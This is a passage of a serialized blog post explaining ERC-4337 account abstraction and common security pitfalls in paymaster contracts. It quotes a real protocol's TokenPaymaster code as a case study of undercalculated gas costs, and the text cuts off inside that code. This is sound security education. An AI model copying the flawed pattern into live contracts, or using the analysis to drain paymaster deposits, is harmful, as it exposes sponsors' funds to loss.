paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":101565,"width":96780,"height":13091},"/posts/paymasters-evm/title.png",[101567,101568],"evm","ERC-4337",{"type":20,"children":101570,"toc":107320},[101571,101575,101586,101591,101596,101601,101607,101613,101618,101623,101629,101634,101662,101668,101673,101680,101685,101695,101700,101726,101732,101752,101758,101778,101786,101817,101850,101859,101871,101896,101908,101921,101964,101970,102003,102102,102121,102144,102149,102155,102183,102330,102335,102362,102368,102380,102392,102401,102436,102441,103926,103954,103975,103980,103992,104001,104006,104024,104047,104052,104058,104112,104118,104151,104186,105010,105046,105082,105148,105181,105679,105732,105744,106308,106377,106404,107026,107068,107095,107107,107168,107187,107221,107226,107231,107236,107240,107245,107280,107306,107311,107316],{"type":23,"tag":34870,"props":101572,"children":101573},{"id":28508},[101574],{"type":28,"value":28511},{"type":23,"tag":24,"props":101576,"children":101577},{},[101578,101584],{"type":23,"tag":31,"props":101579,"children":101582},{"href":101580,"rel":101581},"https://docs.erc4337.io/",[35],[101583],{"type":28,"value":101568},{"type":28,"value":101585}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":23,"tag":24,"props":101587,"children":101588},{},[101589],{"type":28,"value":101590},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":23,"tag":24,"props":101592,"children":101593},{},[101594],{"type":28,"value":101595},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":23,"tag":24,"props":101597,"children":101598},{},[101599],{"type":28,"value":101600},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":23,"tag":34870,"props":101602,"children":101604},{"id":101603},"erc4337-overview",[101605],{"type":28,"value":101606},"ERC4337 Overview",{"type":23,"tag":61,"props":101608,"children":101610},{"id":101609},"traditional-eoas-vs-smart-contract-wallets",[101611],{"type":28,"value":101612},"Traditional EOAs vs Smart Contract Wallets",{"type":23,"tag":24,"props":101614,"children":101615},{},[101616],{"type":28,"value":101617},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":23,"tag":24,"props":101619,"children":101620},{},[101621],{"type":28,"value":101622},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":23,"tag":61,"props":101624,"children":101626},{"id":101625},"why-erc4337-was-introduced",[101627],{"type":28,"value":101628},"Why ERC‑4337 Was Introduced",{"type":23,"tag":24,"props":101630,"children":101631},{},[101632],{"type":28,"value":101633},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":23,"tag":16158,"props":101635,"children":101636},{},[101637,101642,101647,101652,101657],{"type":23,"tag":4894,"props":101638,"children":101639},{},[101640],{"type":28,"value":101641},"User recovery for lost keys (e.g. social recovery)",{"type":23,"tag":4894,"props":101643,"children":101644},{},[101645],{"type":28,"value":101646},"Batched or atomic multi-step operations in one flow",{"type":23,"tag":4894,"props":101648,"children":101649},{},[101650],{"type":28,"value":101651},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":23,"tag":4894,"props":101653,"children":101654},{},[101655],{"type":28,"value":101656},"Using custom signature schemes or multisig logic",{"type":23,"tag":4894,"props":101658,"children":101659},{},[101660],{"type":28,"value":101661},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":23,"tag":61,"props":101663,"children":101665},{"id":101664},"how-erc-4337-works",[101666],{"type":28,"value":101667},"How ERC-4337 Works",{"type":23,"tag":24,"props":101669,"children":101670},{},[101671],{"type":28,"value":101672},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":23,"tag":24,"props":101674,"children":101675},{},[101676],{"type":23,"tag":1116,"props":101677,"children":101679},{"alt":50084,"src":101678},"/posts/paymasters-evm/flowchart.png",[],{"type":23,"tag":24,"props":101681,"children":101682},{},[101683],{"type":28,"value":101684},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":23,"tag":9072,"props":101686,"children":101688},{"id":101687},"useroperation",[101689],{"type":23,"tag":92,"props":101690,"children":101692},{"className":101691},[],[101693],{"type":28,"value":101694},"UserOperation",{"type":23,"tag":24,"props":101696,"children":101697},{},[101698],{"type":28,"value":101699},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":23,"tag":16158,"props":101701,"children":101702},{},[101703,101708,101713],{"type":23,"tag":4894,"props":101704,"children":101705},{},[101706],{"type":28,"value":101707},"Target contract call(s)",{"type":23,"tag":4894,"props":101709,"children":101710},{},[101711],{"type":28,"value":101712},"Signature or validation metadata",{"type":23,"tag":4894,"props":101714,"children":101715},{},[101716,101718,101724],{"type":28,"value":101717},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":23,"tag":92,"props":101719,"children":101721},{"className":101720},[],[101722],{"type":28,"value":101723},"UserOperations",{"type":28,"value":101725}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":23,"tag":9072,"props":101727,"children":101729},{"id":101728},"smart-contract-account",[101730],{"type":28,"value":101731},"Smart Contract Account",{"type":23,"tag":24,"props":101733,"children":101734},{},[101735,101737,101743,101744,101750],{"type":28,"value":101736},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":23,"tag":92,"props":101738,"children":101740},{"className":101739},[],[101741],{"type":28,"value":101742},"validateUserOp()",{"type":28,"value":10458},{"type":23,"tag":92,"props":101745,"children":101747},{"className":101746},[],[101748],{"type":28,"value":101749},"executeUserOp()",{"type":28,"value":101751},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":23,"tag":9072,"props":101753,"children":101755},{"id":101754},"bundler",[101756],{"type":28,"value":101757},"Bundler",{"type":23,"tag":24,"props":101759,"children":101760},{},[101761,101763,101768,101770,101776],{"type":28,"value":101762},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":23,"tag":92,"props":101764,"children":101766},{"className":101765},[],[101767],{"type":28,"value":101723},{"type":28,"value":101769},", packages them, and submits them in a single transaction to the ",{"type":23,"tag":92,"props":101771,"children":101773},{"className":101772},[],[101774],{"type":28,"value":101775},"EntryPoint",{"type":28,"value":101777}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":23,"tag":9072,"props":101779,"children":101780},{"id":14191},[101781],{"type":23,"tag":92,"props":101782,"children":101784},{"className":101783},[],[101785],{"type":28,"value":101775},{"type":23,"tag":24,"props":101787,"children":101788},{},[101789,101790,101795,101797,101802,101804,101808,101810,101815],{"type":28,"value":16084},{"type":23,"tag":92,"props":101791,"children":101793},{"className":101792},[],[101794],{"type":28,"value":101775},{"type":28,"value":101796}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":23,"tag":92,"props":101798,"children":101800},{"className":101799},[],[101801],{"type":28,"value":101723},{"type":28,"value":101803}," submitted by a ",{"type":23,"tag":2532,"props":101805,"children":101806},{},[101807],{"type":28,"value":101757},{"type":28,"value":101809},", the ",{"type":23,"tag":92,"props":101811,"children":101813},{"className":101812},[],[101814],{"type":28,"value":101775},{"type":28,"value":101816}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":23,"tag":24,"props":101818,"children":101819},{},[101820,101822,101827,101829,101833,101835,101840,101842,101848],{"type":28,"value":101821},"Once all operations have been processed, the ",{"type":23,"tag":92,"props":101823,"children":101825},{"className":101824},[],[101826],{"type":28,"value":101775},{"type":28,"value":101828}," calculates the total gas consumed and reimburses the ",{"type":23,"tag":2532,"props":101830,"children":101831},{},[101832],{"type":28,"value":101757},{"type":28,"value":101834},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":23,"tag":92,"props":101836,"children":101838},{"className":101837},[],[101839],{"type":28,"value":101775},{"type":28,"value":101841}," or from a ",{"type":23,"tag":92,"props":101843,"children":101845},{"className":101844},[],[101846],{"type":28,"value":101847},"paymaster",{"type":28,"value":101849}," that has agreed to sponsor the transaction.",{"type":23,"tag":9072,"props":101851,"children":101852},{"id":101847},[101853],{"type":23,"tag":92,"props":101854,"children":101856},{"className":101855},[],[101857],{"type":28,"value":101858},"Paymaster",{"type":23,"tag":24,"props":101860,"children":101861},{},[101862,101864,101869],{"type":28,"value":101863},"A ",{"type":23,"tag":92,"props":101865,"children":101867},{"className":101866},[],[101868],{"type":28,"value":101847},{"type":28,"value":101870}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":23,"tag":16158,"props":101872,"children":101873},{},[101874,101885],{"type":23,"tag":4894,"props":101875,"children":101876},{},[101877,101883],{"type":23,"tag":92,"props":101878,"children":101880},{"className":101879},[],[101881],{"type":28,"value":101882},"validatePaymasterUserOp()",{"type":28,"value":101884}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":23,"tag":4894,"props":101886,"children":101887},{},[101888,101894],{"type":23,"tag":92,"props":101889,"children":101891},{"className":101890},[],[101892],{"type":28,"value":101893},"postOp()",{"type":28,"value":101895},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":23,"tag":24,"props":101897,"children":101898},{},[101899,101901,101906],{"type":28,"value":101900},"By supporting both sponsorship and token-based gas payments, ",{"type":23,"tag":92,"props":101902,"children":101904},{"className":101903},[],[101905],{"type":28,"value":101847},{"type":28,"value":101907}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":23,"tag":61,"props":101909,"children":101911},{"id":101910},"understanding-the-entrypoints-flow",[101912,101914,101919],{"type":28,"value":101913},"Understanding the ",{"type":23,"tag":92,"props":101915,"children":101917},{"className":101916},[],[101918],{"type":28,"value":101775},{"type":28,"value":101920},"'s Flow",{"type":23,"tag":24,"props":101922,"children":101923},{},[101924,101926,101931,101932,101937,101939,101950,101952,101957,101958,101963],{"type":28,"value":101925},"When a bundler submits ",{"type":23,"tag":92,"props":101927,"children":101929},{"className":101928},[],[101930],{"type":28,"value":101723},{"type":28,"value":15882},{"type":23,"tag":92,"props":101933,"children":101935},{"className":101934},[],[101936],{"type":28,"value":101775},{"type":28,"value":101938}," contract via ",{"type":23,"tag":31,"props":101940,"children":101943},{"href":101941,"rel":101942},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[35],[101944],{"type":23,"tag":92,"props":101945,"children":101947},{"className":101946},[],[101948],{"type":28,"value":101949},"handleOps()",{"type":28,"value":101951},", the processing occurs in two main phases: ",{"type":23,"tag":2532,"props":101953,"children":101954},{},[101955],{"type":28,"value":101956},"Validation",{"type":28,"value":10458},{"type":23,"tag":2532,"props":101959,"children":101960},{},[101961],{"type":28,"value":101962},"Execution",{"type":28,"value":720},{"type":23,"tag":9072,"props":101965,"children":101967},{"id":101966},"validation-phase",[101968],{"type":28,"value":101969},"Validation Phase",{"type":23,"tag":24,"props":101971,"children":101972},{},[101973,101975,101980,101982,101988,101990,101996,101997,102002],{"type":28,"value":101974},"In this phase, the ",{"type":23,"tag":92,"props":101976,"children":101978},{"className":101977},[],[101979],{"type":28,"value":101775},{"type":28,"value":101981}," first validates all operations in the submitted ",{"type":23,"tag":92,"props":101983,"children":101985},{"className":101984},[],[101986],{"type":28,"value":101987},"UserOps",{"type":28,"value":101989}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":23,"tag":92,"props":101991,"children":101993},{"className":101992},[],[101994],{"type":28,"value":101995},"UserOp",{"type":28,"value":101809},{"type":23,"tag":92,"props":101998,"children":102000},{"className":101999},[],[102001],{"type":28,"value":101775},{"type":28,"value":1697},{"type":23,"tag":4890,"props":102004,"children":102005},{},[102006,102024,102042,102063,102075],{"type":23,"tag":4894,"props":102007,"children":102008},{},[102009,102016,102018],{"type":23,"tag":31,"props":102010,"children":102013},{"href":102011,"rel":102012},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[35],[102014],{"type":28,"value":102015},"Calculates",{"type":28,"value":102017}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":23,"tag":92,"props":102019,"children":102021},{"className":102020},[],[102022],{"type":28,"value":102023},"maxFeePerGas",{"type":23,"tag":4894,"props":102025,"children":102026},{},[102027,102034,102035,102040],{"type":23,"tag":31,"props":102028,"children":102031},{"href":102029,"rel":102030},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[35],[102032],{"type":28,"value":102033},"Calls",{"type":28,"value":5915},{"type":23,"tag":92,"props":102036,"children":102038},{"className":102037},[],[102039],{"type":28,"value":101742},{"type":28,"value":102041}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":23,"tag":4894,"props":102043,"children":102044},{},[102045,102047,102054,102056,102061],{"type":28,"value":102046},"If no paymaster is specified, attempts to ",{"type":23,"tag":31,"props":102048,"children":102051},{"href":102049,"rel":102050},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[35],[102052],{"type":28,"value":102053},"deduct",{"type":28,"value":102055}," the prefund amount from the sender's ETH deposit in the ",{"type":23,"tag":92,"props":102057,"children":102059},{"className":102058},[],[102060],{"type":28,"value":101775},{"type":28,"value":102062}," (this can be partially refunded later if actual execution costs less)",{"type":23,"tag":4894,"props":102064,"children":102065},{},[102066,102073],{"type":23,"tag":31,"props":102067,"children":102070},{"href":102068,"rel":102069},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[35],[102071],{"type":28,"value":102072},"Validates",{"type":28,"value":102074}," the nonce to prevent replay attacks",{"type":23,"tag":4894,"props":102076,"children":102077},{},[102078,102080,102086,102088,102094,102095,102100],{"type":28,"value":102079},"If a paymaster is specified, it will ",{"type":23,"tag":31,"props":102081,"children":102084},{"href":102082,"rel":102083},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[35],[102085],{"type":28,"value":102053},{"type":28,"value":102087}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":23,"tag":31,"props":102089,"children":102092},{"href":102090,"rel":102091},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[35],[102093],{"type":28,"value":37794},{"type":28,"value":5915},{"type":23,"tag":92,"props":102096,"children":102098},{"className":102097},[],[102099],{"type":28,"value":101882},{"type":28,"value":102101}," on the paymaster contract to verify it will cover gas costs",{"type":23,"tag":24,"props":102103,"children":102104},{},[102105,102107,102112,102114,102119],{"type":28,"value":102106},"Only after all these validation checks pass will the ",{"type":23,"tag":92,"props":102108,"children":102110},{"className":102109},[],[102111],{"type":28,"value":101775},{"type":28,"value":102113}," move on to actually executing the ",{"type":23,"tag":92,"props":102115,"children":102117},{"className":102116},[],[102118],{"type":28,"value":101694},{"type":28,"value":102120},". This strict validation flow ensures that:",{"type":23,"tag":16158,"props":102122,"children":102123},{},[102124,102129,102134,102139],{"type":23,"tag":4894,"props":102125,"children":102126},{},[102127],{"type":28,"value":102128},"The operation is legitimate and authorized by the user",{"type":23,"tag":4894,"props":102130,"children":102131},{},[102132],{"type":28,"value":102133},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":23,"tag":4894,"props":102135,"children":102136},{},[102137],{"type":28,"value":102138},"The operation cannot be replayed",{"type":23,"tag":4894,"props":102140,"children":102141},{},[102142],{"type":28,"value":102143},"All involved contracts (sender and paymaster) have approved the execution",{"type":23,"tag":24,"props":102145,"children":102146},{},[102147],{"type":28,"value":102148},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":23,"tag":9072,"props":102150,"children":102152},{"id":102151},"execution-phase",[102153],{"type":28,"value":102154},"Execution Phase",{"type":23,"tag":24,"props":102156,"children":102157},{},[102158,102160,102165,102167,102174,102176,102181],{"type":28,"value":102159},"After all operations have passed validation, the ",{"type":23,"tag":92,"props":102161,"children":102163},{"className":102162},[],[102164],{"type":28,"value":101775},{"type":28,"value":102166}," begins the ",{"type":23,"tag":31,"props":102168,"children":102171},{"href":102169,"rel":102170},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[35],[102172],{"type":28,"value":102173},"execution",{"type":28,"value":102175}," phase, processing each ",{"type":23,"tag":92,"props":102177,"children":102179},{"className":102178},[],[102180],{"type":28,"value":101694},{"type":28,"value":102182}," individually. For each operation, the flow is:",{"type":23,"tag":4890,"props":102184,"children":102185},{},[102186,102246,102292],{"type":23,"tag":4894,"props":102187,"children":102188},{},[102189,102190,102195,102197,102203,102204,102210,102212],{"type":28,"value":16084},{"type":23,"tag":92,"props":102191,"children":102193},{"className":102192},[],[102194],{"type":28,"value":101775},{"type":28,"value":102196}," makes a ",{"type":23,"tag":31,"props":102198,"children":102201},{"href":102199,"rel":102200},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[35],[102202],{"type":28,"value":37794},{"type":28,"value":56283},{"type":23,"tag":92,"props":102205,"children":102207},{"className":102206},[],[102208],{"type":28,"value":102209},"innerHandleOp()",{"type":28,"value":102211},", which:\n",{"type":23,"tag":16158,"props":102213,"children":102214},{},[102215,102227,102232],{"type":23,"tag":4894,"props":102216,"children":102217},{},[102218,102225],{"type":23,"tag":31,"props":102219,"children":102222},{"href":102220,"rel":102221},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[35],[102223],{"type":28,"value":102224},"Forwards",{"type":28,"value":102226}," the operation to the sender's smart account contract",{"type":23,"tag":4894,"props":102228,"children":102229},{},[102230],{"type":28,"value":102231},"Executes the intended transaction(s) within the smart account",{"type":23,"tag":4894,"props":102233,"children":102234},{},[102235,102237,102244],{"type":28,"value":102236},"Handles ",{"type":23,"tag":31,"props":102238,"children":102241},{"href":102239,"rel":102240},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[35],[102242],{"type":28,"value":102243},"post-execution",{"type":28,"value":102245}," tasks and cleanup",{"type":23,"tag":4894,"props":102247,"children":102248},{},[102249,102251,102257,102259,102265,102266,102272,102274],{"type":28,"value":102250},"If a paymaster was used, ",{"type":23,"tag":92,"props":102252,"children":102254},{"className":102253},[],[102255],{"type":28,"value":102256},"Entrypoint",{"type":28,"value":102258}," will ",{"type":23,"tag":31,"props":102260,"children":102263},{"href":102261,"rel":102262},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[35],[102264],{"type":28,"value":37794},{"type":28,"value":5915},{"type":23,"tag":92,"props":102267,"children":102269},{"className":102268},[],[102270],{"type":28,"value":102271},"paymaster.postOp()",{"type":28,"value":102273}," to:\n",{"type":23,"tag":16158,"props":102275,"children":102276},{},[102277,102282,102287],{"type":23,"tag":4894,"props":102278,"children":102279},{},[102280],{"type":28,"value":102281},"Allow paymaster to finalize its accounting",{"type":23,"tag":4894,"props":102283,"children":102284},{},[102285],{"type":28,"value":102286},"Process any refunds or additional charges",{"type":23,"tag":4894,"props":102288,"children":102289},{},[102290],{"type":28,"value":102291},"Complete any paymaster-specific logic",{"type":23,"tag":4894,"props":102293,"children":102294},{},[102295,102297,102302,102303,102310,102312],{"type":28,"value":102296},"Finally, after all operations are processed, the ",{"type":23,"tag":92,"props":102298,"children":102300},{"className":102299},[],[102301],{"type":28,"value":101775},{"type":28,"value":5915},{"type":23,"tag":31,"props":102304,"children":102307},{"href":102305,"rel":102306},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[35],[102308],{"type":28,"value":102309},"compensates",{"type":28,"value":102311}," the bundler for:\n",{"type":23,"tag":16158,"props":102313,"children":102314},{},[102315,102320,102325],{"type":23,"tag":4894,"props":102316,"children":102317},{},[102318],{"type":28,"value":102319},"Gas costs from executing all operations",{"type":23,"tag":4894,"props":102321,"children":102322},{},[102323],{"type":28,"value":102324},"Overhead from submitting the batch transaction",{"type":23,"tag":4894,"props":102326,"children":102327},{},[102328],{"type":28,"value":102329},"Any unused gas, which is refunded",{"type":23,"tag":24,"props":102331,"children":102332},{},[102333],{"type":28,"value":102334},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":23,"tag":24,"props":102336,"children":102337},{},[102338,102340,102345,102347,102353,102355,102360],{"type":28,"value":102339},"Now that we understand how the ",{"type":23,"tag":92,"props":102341,"children":102343},{"className":102342},[],[102344],{"type":28,"value":101775},{"type":28,"value":102346}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":23,"tag":92,"props":102348,"children":102350},{"className":102349},[],[102351],{"type":28,"value":102352},"paymasters",{"type":28,"value":102354}," that align with the ",{"type":23,"tag":92,"props":102356,"children":102358},{"className":102357},[],[102359],{"type":28,"value":101775},{"type":28,"value":102361},"'s execution model, leading to potential vulnerabilities.",{"type":23,"tag":34870,"props":102363,"children":102365},{"id":102364},"common-pitfalls-in-paymaster-implementation",[102366],{"type":28,"value":102367},"Common Pitfalls in Paymaster Implementation",{"type":23,"tag":24,"props":102369,"children":102370},{},[102371,102373,102378],{"type":28,"value":102372},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":23,"tag":92,"props":102374,"children":102376},{"className":102375},[],[102377],{"type":28,"value":101775},{"type":28,"value":102379}," to exploitation or griefing.",{"type":23,"tag":24,"props":102381,"children":102382},{},[102383,102385,102390],{"type":28,"value":102384},"In this section, we’ll walk through the ",{"type":23,"tag":2532,"props":102386,"children":102387},{},[102388],{"type":28,"value":102389},"two most common pitfalls",{"type":28,"value":102391}," we’ve observed in real-world paymaster implementations:",{"type":23,"tag":61,"props":102393,"children":102395},{"id":102394},"undercalculated-gas-costs",[102396],{"type":23,"tag":2532,"props":102397,"children":102398},{},[102399],{"type":28,"value":102400},"Undercalculated Gas Costs",{"type":23,"tag":24,"props":102402,"children":102403},{},[102404,102406,102411,102413,102418,102420,102425,102427,102434],{"type":28,"value":102405},"To understand this issue, let's first examine how gas penalties work in the ",{"type":23,"tag":92,"props":102407,"children":102409},{"className":102408},[],[102410],{"type":28,"value":101775},{"type":28,"value":102412},". When a ",{"type":23,"tag":92,"props":102414,"children":102416},{"className":102415},[],[102417],{"type":28,"value":101694},{"type":28,"value":102419}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":23,"tag":92,"props":102421,"children":102423},{"className":102422},[],[102424],{"type":28,"value":101775},{"type":28,"value":102426}," charges a ",{"type":23,"tag":31,"props":102428,"children":102431},{"href":102429,"rel":102430},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[35],[102432],{"type":28,"value":102433},"penalty of 10%",{"type":28,"value":102435}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":23,"tag":24,"props":102437,"children":102438},{},[102439],{"type":28,"value":102440},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":23,"tag":87,"props":102442,"children":102444},{"className":1680,"code":102443,"language":1679,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[102445],{"type":23,"tag":92,"props":102446,"children":102447},{"__ignoreMap":7},[102448,102492,102499,102556,102564,102572,102614,102621,102633,102655,102676,102706,102757,102787,102808,102846,102885,102902,102941,102965,102982,103025,103047,103064,103081,103088,103095,103121,103138,103173,103204,103216,103263,103270,103277,103284,103351,103358,103365,103372,103383,103402,103421,103485,103508,103541,103556,103591,103599,103638,103663,103684,103692,103719,103746,103754,103762,103804,103811,103818,103842,103858,103865,103872,103890,103903,103910,103918],{"type":23,"tag":134,"props":102449,"children":102450},{"class":136,"line":137},[102451,102455,102460,102465,102470,102474,102479,102483,102488],{"type":23,"tag":134,"props":102452,"children":102453},{"style":151},[102454],{"type":28,"value":89326},{"type":23,"tag":134,"props":102456,"children":102457},{"style":597},[102458],{"type":28,"value":102459}," TokenPaymaster",{"type":23,"tag":134,"props":102461,"children":102462},{"style":151},[102463],{"type":28,"value":102464}," is",{"type":23,"tag":134,"props":102466,"children":102467},{"style":597},[102468],{"type":28,"value":102469}," 